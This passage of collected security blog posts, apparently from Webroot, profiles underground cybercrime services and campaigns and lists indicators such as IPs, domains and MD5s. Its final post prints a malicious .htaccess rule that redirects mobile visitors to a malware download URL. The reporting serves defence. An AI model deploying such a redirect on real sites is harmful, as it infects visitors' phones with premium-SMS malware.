The following subdomains are also known to have phoned back to the same IP in that past: *1216289731481872.no-ip.info 128096312288.no-ip.info 130715253.no-ip.info 1364170516.hopto.org 1365606917.hopto.org 1365607817.hopto.org 1365608717.hopto.org 1365609617.hopto.org 1365611417.hopto.org 1365614117.hopto.org 1365615017.hopto.org 1365615917.hopto.org 1365617717.hopto.org 1365621317.hopto.org 1365622217.hopto.org 1365623117.hopto.org 1365624017.hopto.org 1365624917.hopto.org 1365625816.hopto.org*

The following malicious MD5s are also known to have phoned back to the same domain/IP in the past: MD5: f65f5b77b0c761e4b832c4c6eb160abe
MD5: 04d70ee87b53c6b72667a64c90310c6c
MD5: f9012d4c5b184bfce0d38fbe59ed5f01
MD5: e04211eebf720db3a3020894c8902d91
MD5: 8ee9dcaa13c43ef1c597e6602f13a18d

MD5: 0f0bd979a4653bd1dd3851c2401bd6f5
MD5: bed1f172fc063ef6ef6462694ec08b57
MD5: 6d91c5519d7e775026256a8a03c94298
MD5: cef1668439de2c59392207a1e5b694be
MD5: e3e1500f61974748524a9c6ec24fba20
MD5: db188979d05cc07b9a2f28c629f665e7
MD5: 8ae4171c1ff33d5f28073abc459084e5
MD5: 440205bed295ffbcb7e8a97ba7fafe5f
MD5: 9454f19a4a4f8132eb67b8333a1c685b
MD5: 18ffaf17b6144fbd2557574b450b6890
MD5: 06a610c631b723ab818d9fc14ff462d1
MD5: c1133b01880db299f4b598bd04fc6816

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

A peek inside a Blackhat SEO/cybercrime-friendly doorways management platform - Webroot Blog

facebook linkedin twitter

The perceived decline in the **use of blackhat SEO (search engine optimization) tactics for delivering malicious/fraudulent content** over the last couple of years, does not necessarily mean that cybercriminals have somehow abandoned the concept of abusing the world's most popular search engines. The fact is, this tactic remains effective at reaching users who, on the majority of occasions, trust that that the search result links are malware/exploit free. Unfortunately, that's not the case. Cybercriminals continue introducing new tactics helping fraudulent adversaries to quickly build up and aggregate millions of legitimate visitors, to be later on exposed to online scams or directly converted to malware-infected hosts. This is achieved through **cybercrime-friendly underground market traffic exchange networks** offering **positive ROI (Return on Investment)** in the process.

In this post, I'll take a peek inside a blackhat SEO/cybercrime-friendly doorways management script, discuss its core features, and the ways cybercriminals are currently abusing its ability to populate major search engines with hundreds of millions of search queries relevant bogus Web pages, most commonly hosted on compromised Web servers in an attempt by the cybercriminals behind the campaign to **take advantage of the compromised Web site's high page rank** .

Sample screenshots of the administration panel for the blackhat SEO/cybercrime-friendly multi-user doorways management platform:

Basically, what this platform enables cybercriminals to do is to have their fraudulent/malicious/rogue content indexed by Yandex and Google in a near real-time fashion — as you can see in the last screenshot, it only took 24 hours to have one of the rogue doorways indexed by Yandex. How is this accomplished? The cybercriminals behind this service have created an ecosystem designed to generate rogue content, and mal-links pointing back to it, with the actual content and links hosted on **compromised Web shells, usually hidden on Web servers with high page ranks** .

Next to the advanced customization evident throughout the entire administration panel, the tool is also blackhat-SEO-cybercrime-friendly compatible, as it has been designed to be integrated with other tools. Moreover, the multi-user nature of the platform, allows cybercrime/blackhat SEO groups to work simultaneously while maintaining the necessary degree of QA, ensuring the success of their campaigns. And with the market for (compromised) Web shells proliferating, based on the increasing number of supply+demands underground market type of propositions appearing on, both, public/dark Web, it shouldn't be surprising that cybercriminals would continue possessing access to tens of millions of unique visitors, which they can convert into virtually anything given that the right incentives have been offered through a cybercrime-friendly affiliate network.

We'll continue highlighting the existence of these platforms, with the idea to emphasize on on just how easy it is to populate the world's most popular search engines with fraudulent/malicious/rogue content.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Newly launched ‘HTTP-based botnet setup as a service’ empowers novice cybercriminals with bulletproof hosting capabilities - part two - Webroot Blog

facebook linkedin twitter

The emergence and sophistication of DIY botnet generating tools has lowered the entry barriers into the world of cybercrime. With ever-increasing professionalism and **QA (Quality Assurance)** applied by cybercriminals, in combination with **bulletproof cybercrime-friendly hosting providers** , these tactics represent **key success factors for an increased life cycle of any given fraudulent/malicious campaign** . Throughout the years, we’ve witnessed the adoption of multiple bulletproof hosting infrastructure techniques for increasing the life cycle of campaigns,with a clear trend towards diversification, rotation or C&C communication techniques, and most importantly, the clear presence of a KISS (Keep It Simple Stupid) type of pragmatic mentality; especially in terms of **utilizing HTTP based C&C communication channels for botnet operation** .

In this post, I’ll discuss **a managed botnet setup as a service** , targeting novice cybercriminals who are looking for remote assistance in the process of setting up the C&C infrastructure for their most recently purchased DIY botnet generation tool. I’ll also discuss the relevance of these services in the content of the (sophisticated) competition, that’s been in business for years, possessing the necessary know-how to keep a customer’s fraudulent/malicious campaign up and running.

Sample screenshot of the (international) underground market proposition:

For the static amount of $50, the cybercriminal behind the managed botnet setup service will configure, register HTTP based C&C domains, as well as host them for one year, and currently supports 11 different DIY malware/botnet generating tools. The service's value proposition is similar to that of a recently profiled **managed bulletproof hosting service for malicious Java applets** , in terms of lacking the necessary know-how and experience to ensure smooth (cybercriminal) operations. Does a cybercriminal need to take advantage of one of the market leading (Russian) bulletproof cybercrime-friendly services in order to increase the life cycle of his campaigns? Not necessarily, as the botnet generating tools offered by this service can be best described as '**beneath the radar** ' botnets, that is, **small botnets that rarely make the news headlines** .

We expect to continue observing similar (international) underground marketplace propositions, with more cybercriminals realizing the market segment potential for products and services targeting novice cybercriminals exclusively.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Yet another subscription-based stealth Bitcoin mining tool spotted in the wild - Webroot Blog

facebook linkedin twitter

As we anticipated in our series of blog posts highlighting the growing use of **DIY/subscription based stealth Bitcoin miners** , cybercriminals continue populating this newly emerged market segment, with new, undetected, cryptor-friendly stealth Bitcoin mining tools. This is being done to empower fellow cybercriminals with the necessary tools to help them monetize the malware-infected hosts that they either already have access to, or intend to purchase through one of the, ubiquitous for the cybercrime ecosystem, **malware-infected hosts as a service** type of underground market propositions.

In post, I'll discuss the existence of yet another DIY stealth Bitcoin mining tool, in particular how the cybercriminal behind it is attempting to strike a balance between pitching it to fellow cybercriminals — through Terms of Service — in a way that supposedly makes it illegal to install it on PCs without the knowledge of their owners.

Sample screenshot of (international) underground marketplace proposition:

The subscription based stealth Bitcoin mining tool comes with support for **HTTP/Socks4/Socks5 malware-infected hosts** to be used as proxies, doesn't drop or download additional files, and supports Windows 8. Potential customers would have their builder copies 'watermarked' in an attempt by the vendor to detect eventual leaks of the builder in the hands of the security community.

The tool is a great example of a trend that we've been observing for a while, namely, **the utilization** of **ToS (Terms of Service)** issued by **cybercrime-facilitating vendors** . However, on their way to strike a balance in pitching their cybercrime-friendly product/service to potential cybercriminals, in between ensuring that they legally forward the abuse of the product/service to the final customer, they usually tend to portray the product/service as a legitimate one on public communities while revealing its true nature on vetted/invite-only/closed cybercrime-friendly communities. Case in point – the vendor of the stealth Bitcoin mining tool is explicitly forbidding the use of the mining tool on a PC without the knowledge of the owner, in between actually complaining that while using a Remote Access Tool (RAT), he's constantly facing a problem with large size mining tools.

We'll continue monitoring this market segment, and post updates as soon as new releases becoming publicly/commercially available.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY commercial CAPTCHA-solving automatic email account registration tool available on the underground market since 2008 - Webroot Blog

facebook linkedin twitter

With **low-waged employees of unethical ‘data entry’ companies** having already set the foundations for an efficient and systematic abuse of all the major Web properties, it shouldn’t be surprising that new market segments quickly emerged to capitalize on the business opportunities offered by **the (commercialized) demise of CAPTCHA** as an additional human/bot differentiation technique. One of these market segments is supplying automatic (email) account registration services to potential cybercriminals while on their way to either abuse them as **WHOIS contact point for their malicious/fraudulent domains** , or to directly embed automatically registered accounting data into their Web-based account spamming tools. This takes advantage of the clean IP reputation/white listed nature of these legitimate free email providers.

In this post, I’ll discuss a commercially available (since 2008) **DIY** (do it yourself) automatic email account registration tool capable of not just modifying the forwarding feature on some of the email providers it’s targeting, but randomizes the accounting data as well. The tool relies on built-in support for a CAPTCHA-solving API-enabled service, and can also activate POP3 and SMTP on some of these accounts thus making it easier for cybercriminals to start abusing them.

Sample screenshots of the tool in action:

The multi-threaded tool “naturally” supports direct syndication of “fresh” **Socks4/Socks5 malware-infected hosts** , as well as randomization of the user agent, in an attempt by its users to anonymize their malicious account registration activities. The tool also has a built-in support for two of the market leading commercial

CAPTCHA-solving services, ensuring that the CAPTCHA challenge will by successfully bypassed thanks to the introduced API on behalf of these services.

What would a cybercriminal do with all of these automatically registered bogus accounts? Plenty of (fraudulent) options.

Web-based spam relying on the DomainKeys verified/trusted network infrastructure of the providers – over the years spammers have realized **the potential of a DomainKeys trusted (internal) network** , and therefore, quickly adapted to its adoption, largely thanks to the demise of CAPTCHA, allowing them to efficiently register hundreds of thousands of rogue accounts to be later on used in spam campaign.

Automatic activation and abuse of related account services – certain free email service providers, also automatically enable FTP and Web hosting services, allowing the cybercriminals behind the campaign to multi-task by abusing each and every activated service, of course, in an automated fashion, just like the initial account registration process

Sell access to the bogus accounting data to fellow (novice) cybercriminals – novice cybercriminals look for ways to obtain automatically registered accounts to be later on used as a foundation for their fraudulent campaigns, are the prime market segment targeted by customers of such tools, who take advantage of the fact that novice cybercriminals are still building their capabilities, and remain unaware of the existence of such type of tools, meaning the'd be even willing to pay a premium to get hold of such type of rogue accounts

We'll continue monitoring the development of this DIY tool, and post updates as soon as new "innovate" features get introduced.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Newly launched E-shop offers access to hundreds of thousands of compromised accounts - Webroot Blog

facebook linkedin twitter

In **a series of blog posts** , we've **highlighted** the ongoing **commoditization** of **hacked/compromised/stolen account data** (user names and passwords), the **direct result of** today's **efficiency-oriented** cybercrime ecosystem, the increasing availability of sophisticated commercial/leaked DIY undetectable malware generating tools, malware-infected hosts as a service, log files on demand services, as well as basic data mining concepts applied on behalf of the operator of a particular botnet. What are cybercriminals up to these days in terms of obtaining such type of data? Monetization through **penetration pricing** on their way to achieve stolen asset liquidity, so hosts can be sold before its owner becomes aware of the compromise, thereby diminishing its value to zero.

A newly launched E-shop is currently offering access to hundreds of thousands of compromised legitimate Mail.ru, Yahoo, Instagram, PayPal, Twitter, Livejournal, Origin, Skype, Steam, Facebook, and WordPress accounts, as well as 98,000 accounts at corporate SMTP servers, potentially **setting up the foundation for successful spear-phishing campaigns** .

Sample screenshot of the inventory of the service:

The prices are as follows:

50, 000 hacked/compromised accounts go for $10
100,000 hacked/compromised accounts go for $15
500,000 hacked/compromised accounts go for $45
1,000,000 hacked/compromised accounts go for $80

The service is also offering a discount for orders beyond 3,000,000 hacked/compromised accounts, which in this case are offered for $70 for "every other million". This underground market proposition is a great example of several rather prolific ‘common sense’ monetization tactics applied by a decent percentage of cybercriminals who are attempting to monetize their fraudulently obtained assets:

Penetration pricing – penetration pricing is a common pricing technique aimed at quickly gaining market share, and in this particular case, efficiently supplying the stolen assets to potential customers. What’s also worth emphasizing on is that on the majority of occasions, the cybercriminal will automatically ‘break-even’ even if he’s actually invested hard cash into the process of obtaining the hacked/compromised accounting data at a later stage

Timeliness of a stolen asset in terms of achieving asset liquidity – whether it’s due to the (perceived) oversupply of a particular commoditized underground market item — like for instance compromised accounting data — or the plain simple logic that the fact that it’s been stolen will sooner or later come to the attention of its owner, cybercriminals are no strangers to the concept of achieving financial asset liquidity, and would do their best to reach out to potential customers as quickly as possible

We expect to continue witnessing the commoditization of hacked/stolen accounting data, with more similar propositions eventually popping up on our radars.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals experiment with Android compatible, Python-based SQL injecting releases - Webroot Blog

facebook linkedin twitter

Throughout the years, cybercriminals have been perfecting the process of automatically abusing Web application vulnerabilities to achieve their fraudulent and malicious objectives. From the utilization of **botnets** and **search engines** to perform active reconnaissance, the general availability of **DIY mass SQL injecting tools** as well as **proprietary malicious script injecting exploitation platforms** , the results have been evident ever since in the form of **tens of thousands of affected Web sites** on a daily basis.

We've recently spotted a publicly released, early stage Python source code for a Bing based SQL injection scanner based on Bing "dorks". What's the potential of this tool to cause any widespread damage? Let's find out.

Sample screenshots of the Python script in action:

In its current form, the tool isn't capable of causing widespread damage, due to the fact that it doesn't come with a predefined database of dorks for cybercriminals to take advantage of. Therefore, taking into consideration the fact that they'd have to manually enter them, greatly diminishes the tool's potential for causing widespread damage. However, now that the source code is publicly obtainable, we believe that fellow cybercriminals inspired by the initial idea will further add related features to it, either releasing the modified version for everyone to take advantage, or monetizing the newly introduced features by pitching it as a private release.

We'll be naturally monitoring its future development, and post updates as soon as new developments emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised "FDIC: Your business account" themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are mass mailing tens of thousands of malicious **Federal Deposit Insurance Corporation (FDIC)** themed emails, in an attempt to trick users into clicking on the client-side exploits serving and malware dropping URLs found in the bogus emails. Let's dissect the campaign, expose the portfolio of malicious domains using it, provide MD5s for a sample exploit and the dropped malware, as well as connect the campaign with previously launched already profiled malicious campaigns.

Sample screenshot of the spamvertised email:

Sample redirection chain: *hxxp://stranniki-music.ru/insurance.problem.html* (62.173.142.30) -> *hxxp://www.fdic.gov.horse-mails.net/news/fdic-insurance.php* (174.142.186.89; 216.218.208.55; 109.71.136.140; 37.221.163.174; 95.111.32.249) Email: comicmotors@writeme.com

Known to have responded to the same IP (174.142.186.89) are also the following fraudulent/malicious domains: *airfare-ticketscheap.com cernanrigndnisne55.net demuronline.net fiscdp.com.airfare-ticketscheap.com gormonigraetnapovalahule26.net irs.gov.successsaturday.net nacha.org.demuronline.net pidrillospeeder.com samsung-galaxy-games.net facebook.com.achrezervations.com fdic.gov.horse-mails.net fiscdp.com.airfare-ticketscheap.com irs.gov.successsaturday.net nacha.org.demuronline.net nacha.org.multiachprocessor.com nacha.org.samsung-galaxy-games.net*

The following malicious MD5s are also known to have phoned back to the same IP in the past: MD5:

d672db2c3f398f1bb55ed0030467277d MD5: 5cb9893095f6087fe741853213f244e8

Known to have responded to 62.173.142.30 are also the following malicious domains: *megapolis-cars.ru poleznoeda.ru rutexim.ru stranniki-music.ru xn--80ahcajwqeee.xn--p1ai*

Known to have responded to 216.218.208.55 are also the followig malicious domains: *demuronline.net samsung-galaxy-games.net*

Known to have responded to 95.111.32.249 are also the following malicious domains: *stjamesang.net*

Name servers part of the campaign's infrastructure: Name Server: **NS1.NAMASTELEARNING.NET** – 86.64.152.26 – Email: minelapse2001@outlook.com – Deja vu! We've already seen the same email used in a related **Facebook themed malicious campaign** .
Name Server: **NS2.NAMASTELEARNING.NET** – 205.28.29.52

The following name servers are also providing DNS services to the following malicious domains: *achrezervations.com airfare-ticketscheap.com children-bicycle.net demuronline.net fairfieldpoa.net fdic-payalert.com gagcenter.net horse-mails.net judicialcrisis.net lacave-enlignes.com lindoliveryct.net multiachprocessor.com nacha-ach-processor.com namastelearning.net oleannyinsurance.net onsayoga.net pidrillospeeder.com protektest.net samsung-galaxy-games.net smscente.net stjamesang.net successsaturday.net taltondark.net thefastor.com ulsmart.net*

MD5 for a sample served client-side exploit: **MD5: 92897ad0aff69dee36dc22140bf3d8a9** . Sample MD5 for the dropped malware: **MD5: 7b6332de90e25a5b26f7c75910a22e0c** .

Once executed, the sample phones back to the following C&C servers: *217.34.53.163 213.219.135.107 46.223.150.132 108.218.11.143 75.44.92.13 72.81.0.118 217.35.75.232 81.138.21.57 200.84.149.84 84.59.151.27 86.179.220.43 88.247.80.140 99.114.220.224 99.21.49.32 81.130.51.125 108.210.102.165 108.234.133.110 108.240.232.212 86.142.201.20*

71.10.54.162 92.4.217.3 188.129.147.67 68.4.133.127 82.211.142.218 81.133.100.39 173.14.178.233 151.97.100.116 86.11.143.176 68.179.19.29 69.70.121.162 173.63.220.65 79.135.34.53 74.7.151.25 71.48.23.198 85.18.21.33

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals sell access to tens of thousands of malware-infected Russian hosts - Webroot Blog

facebook linkedin twitter

Today's modern cybercrime ecosystem offers everything a novice cybercriminal would need to quickly catch up with fellow/sophisticated cybercriminals. Segmented and geolocated lists of harvested emails, managed services performing the actual spamming service, as well as DIY undetectable malware generating tools, all result in a steady influx of new (underground) market entrants, whose activities directly contribute to the overall growth of the cybercrime ecosystem. Among the most popular questions the general public often asks in terms of cybercrime, what else, besides money, acts as **key driving force behind their malicious and fraudulent activities** ? That's plain and simple greed, especially in those situations where **Russian/Eastern European cybercriminals would purposely sell access to Russian/Eastern European malware-infected hosts** , resulting in a decreased OPSEC (Operational Security) for their campaigns as they've managed to attract the attention of local law enforcement.

In this post, I'll discuss yet another such service offering access to Russian malware-infected hosts, and emphasize the cybercriminal's business logic to target Russian users.

Sample screenshot of the service's advertisement:

The service is currently offering access to malware-infected hosts based in Russia ($200 for 1,000 hosts), United Kingdom ($240 for 1,000 hosts), United States ($180 for 1,000 hosts), France ($200 for 1,000 hosts), Canada ($270 for 1,000 hosts) and an International mix ($35 for 1,000 hosts), with a daily supply limit of 20,000 hosts, indicating an an ongoing **legitimate/hijacked-traffic-to-malware-infected hosts conversion** . We believe that the availability of Russian based malware-infected hosts is the direct result of either a greed oriented underground market proposition, the direct result of a surplus based proposition, or an attempt by the cybercriminal behind the the offer to differentiate their proposition from the rest of the commoditized services offering access to, for instance, U.S based hosts.

We'll continue monitoring the service, and post updates as soon as new features — if any — are introduced.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Yet another 'malware-infected hosts as anonymization stepping stones' service offering access to hundreds of compromised hosts spotted in the wild - Webroot Blog

facebook linkedin twitter

The general availability of **DIY malware generating tools** continues to contribute to the growth of the **'malware-infected hosts as anonymization stepping stones** ' Socks4/Socks5/HTTP type of services, with new market entrants entering this largely **commoditized market segment** on a daily basis. Thanks to the virtually non-attributable campaigns that could be launched through the use of malware-infected hosts, the cybercrime underground continues to seek innovative and efficient ways to integrate the inventories of these services within the market leading fraudulent/malicious campaigns managing/launching tools and platforms.

Let's take a peek at one of the most recently launched services offering automatic access to hundreds of malware-infected hosts to be used as anonymization stepping stones.

Sample screenshot of the "malware-infected hosts as anonymization stepping stones" service:

One of the main differentiation factors for this type of services is whether or not they'd continue re-supplying new customers with access to the same set of available compromised and converted to Socks4/Socks5/HTTP servers, or offer exclusively access to a specific set of servers, on a per customer basis only. The lack of QA (Quality Assurance) in this particular service is prone to lower the quality of the campaigns launched using these servers as multiple cybercriminals will now have access to the same pool of compromised hosts, which will inevitably increase the probability that they will be quickly labeled as IPs with extremely bad reputation.

Catch up with previous research on the topic of “Anonymizing a cybercriminal’s Internet activities”, by going through the following posts:

New service converts malware-infected hosts into anonymization proxies Cybercriminals SQL Inject Cybercrime-friendly Proxies Service ‘Malware-infected hosts as stepping stones’ service offers The Cost of Anonymizing a Cybercriminal’s Internet Activities The Cost of Anonymizing a Cybercriminal’s Internet Activities – Part Two The Cost of Anonymizing a Cybercriminal’s Internet Activities – Part Three The Cost of Anonymizing a Cybercriminal’s Internet Activities – Part Four

Naturally, there are vendors whose sole objective is to ‘innovate’, in this particular case, **reboot the life cycle of a popular anonymization concept known as ‘proxy-chaining’** , that is, the process of simultaneously connecting through multiple compromised hosts in an attempt to decrease the chances for a successful identification for a particular attack. Due to the persistent demand for Socks4/Socks5/HTTP based compromised hosts, we expect to continue observing a steady supply of new hosts, with the vendors differentiating their propositions, naturally trying to occupying a market leading share of this in-demand market segment.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals experiment with 'Socks4/Socks5/HTTP' malware-infected hosts based DIY DoS tool - Webroot Blog

facebook linkedin twitter

Based on historical evidence gathered during some of the major **‘opt-in botnet’ type of crowdsourced DDoS (distributed denial of service) attack campaigns** that took place over the last couple of years, the distribution of point’n’click DIY DoS (denial of service attack) tools continues representing a major driving force behind the success of these campaigns. A newly released DIY DoS tool aims to empower technically unsophisticated users with the necessary expertise to launch DDoS attacks by simultaneously utilizing an unlimited number of publicly/commercially obtainable Socks4/Socks5/HTTP-based malware-infected hosts, most commonly known as proxies.

Sample screenshot of the DIY DoS (Denial of Service) tool:

Sample visualization of the DIY DoS (Denial of Service) tool in action using logstalgia:

Despite the fact that the tool lacks **diverse DDoS attack methods** , as well as a Web-based/server based C&C (command and control) infrastructure, it can still prove to be a powerful tool in the hands of tens of thousands of users recruited/socially engineered into participated in a crowdsourced DDoS attack campaign. Especially in combination with the fact that we continue to observe new market entrants into the market segment for malware-infected hosts converted to Socks4/Socks5/HTTP proxies. As always, we’ll be keeping an eye on its future development, and post updates as soon as any significant updated get introduced.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals offer anonymous mobile numbers for 'SMS activation', video tape the destruction of the SIM card on request - Webroot Blog

facebook linkedin twitter

For years, cybercriminals have been abusing a rather popular, personally identifiable practice, namely, the activation of an online account for a particular service through SMS. Relying on the basic logic that a potential service user would not abuse its ToS (Terms of Service) for fraudulent or malicious purposes. Now that it associates a mobile with the account, the service continues ignoring the fact the SIM cards can be obtained by providing **fake IDs** , resulting in the increased probability for direct abuse of the service in a fraudulent/malicious fashion.

What are cybercriminals up to in terms of anonymous SIM cards these days? Differentiating their UVP (unique value proposition) by offering what they refer to as “VIP service” with a “personal approach” for each new client. In this post, I’ll discuss a newly launched service offering anonymous SIM cards to be used for the activation of various services requiring SMS-based activation, and emphasize on its unique UVP.

Sample screenshots of the inventory of anonymous SIM cards offered for sale:

Next to the inventory of cybercrime-friendly non-attributable SIM cards, the cybercriminal behind this underground market proposition is also attempting to add additional value to his proposition, by not just offering the option to store the SIM cards in safe box, but also, destroy the SIM card by offering a video proof of the actual process.

Sample screenshot of a video proof showing the destruction of an already used SIM card courtesy of the service:

The service also charges a premium price for sending and receiving SMS messages, due to the value added features.

The existence and proliferation of such type of services on the basis of false identifies, directly contributes to the rise of fraudulent and malicious schemes launched on behalf of their users. Now that a pseudo-legitimate identification has taken place on popular Web site, a fraudster is in a perfect position to not just start abusing its trusted infrastructure as a foundation for launching related attacks, but also, directly targets a particular Web service's internal users through the trusted mechanisms offered by it.

We'll continue monitoring this underground market segment, and post updates as soon as new services offering anonymous SIM cards emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Affiliate network for mobile malware impersonates Google Play, tricks users into installing premium-rate SMS sending rogue apps - Webroot Blog

facebook linkedin twitter

Affiliate networks are an inseparable part of the cybercrime ecosystem. Largely based on their win-win revenue sharing model, throughout the years, they've successfully established themselves as a crucial part of the cybercrime growth model, further ensuring that a cybercriminal will indeed receive a financial incentive for his fraudulent/malicious activities online.

From **pharmaceutical affiliate networks** , **iPhone selling affiliate networks** , to **affiliate networks for pirated music** and OEM (Original Equipment Manufacturer) software, cybercriminals continue to professionally monetize each and every aspect of the underground marketplace, on their way to harness the experience, know-how and traffic acquisitions capabilities of fellow cybercriminals.

In this post, I'll take a peek inside a cybercrime-friendly affiliate network for premium-rate SMS based mobile malware, list its associated numbers currently in use, provide MD5s of variants known to have been pushed by it, and discuss its business model.

Sample screenshots of the administration panel for a participant in the affiliate network for mobile malware:

What's also worth emphasizing on next to the fact that everyone can join the affiliate network, is that the premium rate sms-sending mobile malware supports multiple operating systems, as it can expose users to .APK, .SIS and .JAR variants of the same mobile malware. The social engineering vectors of choice for the cybercriminals behind the affiliate network are as follows:

Fake Google Play mimicking the mobile version of the marketplace

Fake Adult themed videos
Fake Mobile Antivirus software
Two versions of a Fake Browser Security Update

Let’s discuss the ingenious from a scammer’s perspective ‘agreement’ that users who want to get access to the bogus/fraudulent content, automatically accept. First of all, the web sites participating in the affiliate network “*assumes no responsibility for any direct or consequential loss arising from the use of the application , including loss of profits and losses* “, and that’s just for starters. Whenever a socially engineered user attempts to install the rogue applications, the initial SMS he/she will send automatically results in a subscription to the service, with the rogue applications sending premium-rate SMS messages in the background.

Known mobile malware MD5s pushed by the affiliate network:
MD5: 58668c269215e6e8a781e8e7bac1b4c3 – detected by 24 out of 46 antivirus scanners as HEUR:Trojan-SMS.J2ME.Agent.gen; Java:SMSreg-AW [PUP]
MD5: c12d148689cfbb80b271036c260b1d91 – detected by 27 out of 46 antivirus scanners as HEUR:Trojan-SMS.J2ME.Agent.gen; Trojan.Java.Smssend.AE
MD5: ead1a96f2a240987027e7935d3dfaef6 – detected by 24 out of 46 antivirus scanners as Trojan:Android/Fakeinst.T; Android:FakeInst-BH [Trj]
MD5: 306fe878ac61615c0571d34b3de733a6 – detected by 26 out of 45 antivirus scanners as Trojan.Java.Smssend.AE; HEUR:Trojan-SMS.J2ME.Agent.gen
MD5: 7fb7e22dcc91b24498f1c14e5d41a21d – detected by 26 out of 46 antivirus scanners as HEUR:Trojan-SMS.J2ME.Agent.gen; Trojan.Java.Smssend.AE

Premium-rate numbers used in the campaigns: *3150; 3170; 3200; 3190; 8055; 8155; 3352; 3353; 1350; 7122; 4448; 9990; 3150; 3190; 3006; 3170; 9293; 9394; 5060; 3602; 1897; 4161 ; 4446; 4449; 4448; 1302; 82300*

.htaccess modification suggestion to automatically serve the mobile malware to the visitor of the Web site: *RewriteEngine on RewriteCond %{HTTP_ACCEPT}* “text/vnd.wap.wml|application/vnd.wap.xhtml+xml” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “wapp|wapr|webc|winw|winw|xda|xda-” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “up.browser|up.link|windowssce|iemobile|mini|mmp” [NC,OR] RewriteCond %{HTTP_USER_AGENT} “symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC|Android” [NC] RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] RewriteCond %{HTTP_USER_AGENT} !america [NC] RewriteCond %{HTTP_USER_AGENT} !avant [NC] RewriteCond %{HTTP_USER_AGENT} !download [NC] RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC] RewriteRule ^(.*)$ hxxp://browserupdate.mobi/mf/?stream=&type=apk [L,R=]

Known mobile malware serving domains part of the core infrastructure of the affiliate network: *hxxp://iosoffer.mobi/cpa/&stream= – 91.223.77.198 hxxp://mid2psys.mobi/js.php?stream= – 91.223.77.198 hxxp://browserupdate.mobi/mf/?stream= – 91.213.175.66 hxxp://playsmarket.mobi/?stream= – 91.213.175.66 hxxp://adtivirusmobile.mobi/?stream= – 91.213.175.66 hxxp://wapadults.mobi/?stream=3963 – 91.213.175.66*

Responding to 91.223.77.198 are also the following domains participating in the affiliate network’s infrastructure: *allnokia88.ru allnokia99.ru iosoffer.mobi mid2psys.mobi mob-in-portal.mobi serv-nokia.ru*

